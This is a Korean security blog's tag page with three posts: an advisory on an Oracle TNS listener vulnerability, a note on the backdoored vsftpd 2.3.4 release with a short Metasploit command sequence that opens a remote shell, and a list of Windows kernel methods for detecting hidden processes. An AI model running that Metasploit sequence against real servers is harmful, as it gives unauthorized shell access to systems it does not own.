'POC'에 해당되는 글 4건

  1. 2012.05.04 Oracle 데이터베이스 신규 취약점 주의
  2. 2011.07.06 POC of Vsftpd backdoor discovered (1)
  3. 2010.01.06 [윈도우] 숨겨진 프로세스를 찾는 방법들
2012.05.04 18:13

Oracle 데이터베이스 신규 취약점 주의

개요

  • 2012년 5월 1일, Oracle사는 Oracle 데이터베이스의 TNS listener 취약점에 대한 임시 조치 권고 발표[1]
    4월에 발표된 April 2012 Critical Patch Update를 통해 패치 되지 아니한 취약점에 대해 개념증명코드(PoC)가 공개되어 패치 전에 취할 수 있는 조치에 대한 보안권고


설명

  • TNS listener와 관련된 취약점으로 원격에서 사용자 인증 없이 데이터베이스로의 연결을 엿보거나 임의의 명령어 실행이 가능한 취약점
    ※ TNS(Transparent Network Substrate) : Oracle에서 개발한 기술로 서로 다른 Network 구성을 가지고 있는 Client/Server 또는 Server/Server 간에도 Data의 전송을 가능하게 해주는 Network 기술


해당 소프트웨어

  • Oracle Database 11g Release 2, versions 11.2.0.2, 11.2.0.3
  • Oracle Database 11g Release 1, version 11.1.0.7
  • Oracle Database 10g Release 2, versions 10.2.0.3, 10.2.0.4, 10.2.0.5


임시 조치 방안

  • Real Application Clusters(RAC) 사용자는 My Oracle Support Note 1340831.1 참고 [2]
    ※  RAC(Real Application Clusters) : Oracle 데이터베이스 환경에서 클러스터링과 고가용성 기능을 가능케 하는 추가 기능
  • Real Application Clusters(RAC) 비사용자는 My Oracle Support Note 1453883.1 참고 [3]
  • 상기 문서를 검토하고 벤더사 및 유지보수업체와 협의/검토 후 조치 요망


기타 문의사항

  • 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

[참고사이트]
[1] http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html
[2] https://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1340831.1
[3] https://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1453883.1


Trackback 0 Comment 0
2011.07.06 20:02

POC of Vsftpd backdoor discovered

vsftpd version of 2.3.4 downloadable source code was compromised and a backdoor added to the code. Evans, the author of vsftpd . This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz archive sometime before July 3rd 2011.

The bad tarball included a backdoor in the code which would respond to a user logging in with a user name by listening on port 6200 for a connection and launching a shell when someone connects.

If you have upgarded your VSFTPD check it out.

Affected versions :

  • vsftpd-2.3.4 from 2011-06-30

Metasploit demo :

  • use exploit/unix/ftp/vsftpd_234_backdoor
  • set RHOST localhost
  • set PAYLOAD cmd/unix/interact
  • exploit
  • id
  • uname -a 

출처 : PenTestIT

Trackback 0 Comment 1
  1. 0000 2012.09.20 23:25 address edit & del reply

    뭐..어떻게침투하는건가요.?
    그냥 백도어있으면 그걸찾아서들어가는건가요
    아니면 리버스쉘처럼 Vsftpd취약한버전을사용하면그냥뚫리는건가요?

2010.01.06 10:29

[윈도우] 숨겨진 프로세스를 찾는 방법들

 1. EPROCESS의 ActiveProcessLinks Linked List를 이용해서 Traverse.
 ( 왠만한 루트킷들은 이 값을 조작하므로 별로 소용없을지도 모르지만,
  ZwQuerySystemInformation()을 후킹하여 결과값을 조작하는 식으로 숨기는 경우는
  이 방법으로 손쉽게 찾아낼 수 있습니다. )

 2. ZwOpenProcess() Brute-Force Detection
 유효 PID인 0L부터 0xFFFFL까지 4의 배수들을 모두 Open해서 성공적으로 열어지는 프로세스를
 감지합니다. 단, 프로세스가 종료되었으나 핸들이 닫히지 않은 경우에도 Open되므로 추가적인
 확인이 필요합니다.

 3. PspCidTable Traverse
 Windows NT에는 PspCidTable이라는 Unexported Symbol이 존재하는데, 프로세스와 스레드에
 대한 개체 포인터들을 저장하고 있는 핸들 테이블의 일종입니다. 이를 트레버싱하여 숨겨진
 프로세스를 찾을 수도 있습니다.
 ( 개체 포인터만 저장되어있으므로, 포인터-0x18 한 값이 가리키는 OBJECT_HEADER 헤더의
 Type 필드가 PsProcessType인지 검사해줄 필요가 있습니다. )

 4. Process Handle Table Link Traverse
 EPROCESS에는 HandleTable 필드가 존재하고 이 안에는 링크드 리스트가 존재합니다.
 이 리스트를 이용해서 트레버싱하면 모든 EPROCESS를 찾을 수 있습니다.

 5. CSRSS.EXE의 Handle Table Traversing
 CSRSS.EXE 프로세스는 프로세스 시작을 커널에 통지하고 그 뒷처리를 하는 역할을 하기도 합니다.
 (BaseSetProcessCreateNotify라는 Unexported/Undocumented Symbol을 이용합니다.
 이 심볼 포인터를 후킹함으로써 User Mode에서 폴링(Polling) 과정 없이 프로세스 시작을
 감지하는 방법을 구현한 적이 있습니다. http://blog.naver.com/startgoora/130026875156 )
 때문에 CSRSS.EXE에는 모든 프로세스에 대한 핸들이 저장되어있습니다.

 * 참고적으로 이를 반대로 이용하여 NtOpenProcess()를 거치지 않고 프로세스를 여는 방법중의 하나로 NtQuerySystemInformation()으로 모든 핸들을 얻어온 후 NtDuplicateObject()를 사용하여 핸들을 복사할 수 있습니다.

 6. Memory Scanning
 Process 개체 이전에 붙는 OBJECT_HEADER로 Scan하는 방법입니다.
 http://vbdream.tistory.com/entry/Kernel-탐구-숨겨진-EPROCESS를-찾는-방법-1-Memory-Scanning
 에서 PoC(Proof-of-Concept) 코드로 올린 바가 있습니다.

 7. ETHREAD로 부터 프로세스 개체 얻기
 ETHREAD::ThreadsProcess 필드를 응용하면 EPROCESS의 Pointer를 취득할 수 있습니다.
 PspCidTable이나 링크드 리스트를 이용해서 ETHREAD를 구할 수 있습니다.
 그리고 EPROCESS의 UniqueProcessId가 조작되어도 ETHREAD::Cid를 이용하면
 원래 PID를 구할 수도 있습니다.

 8. PsSetCreateProcessNotifyRoutine()
 프로세스 생성과 종료에 대한 콜백을 등록할 수 있습니다.
 드라이버 로드시에 모든 프로세스를 얻어놓고 이 콜백에 의존하여 리스트를 빼거나 추가함으로써
 순수한 프로세스 리스트를 얻을 수가 있겠죠.
 (비슷한 것으로 PsSetCreateThreadNotifyRoutine와 PsSetLoadImageNotifyRoutine가 있습니다.)
 
 9. CSRSS.EXE::BaseSetProcessCreateNotify Hook
 위에서도 잠깐 언급하였으며 http://blog.naver.com/startgoora/130026875156 를 참고하세요.
 이 방법은 프로세스 시작만 감지할 수 있다는 단점이 있습니다.
 ( 뭐... CSRSS.EXE의 ZwClose를 후킹하면 될지도 모른다는 생각이 드는군요. :-) )


출처 : http://blog.naver.com/startgoora

Trackback 0 Comment 0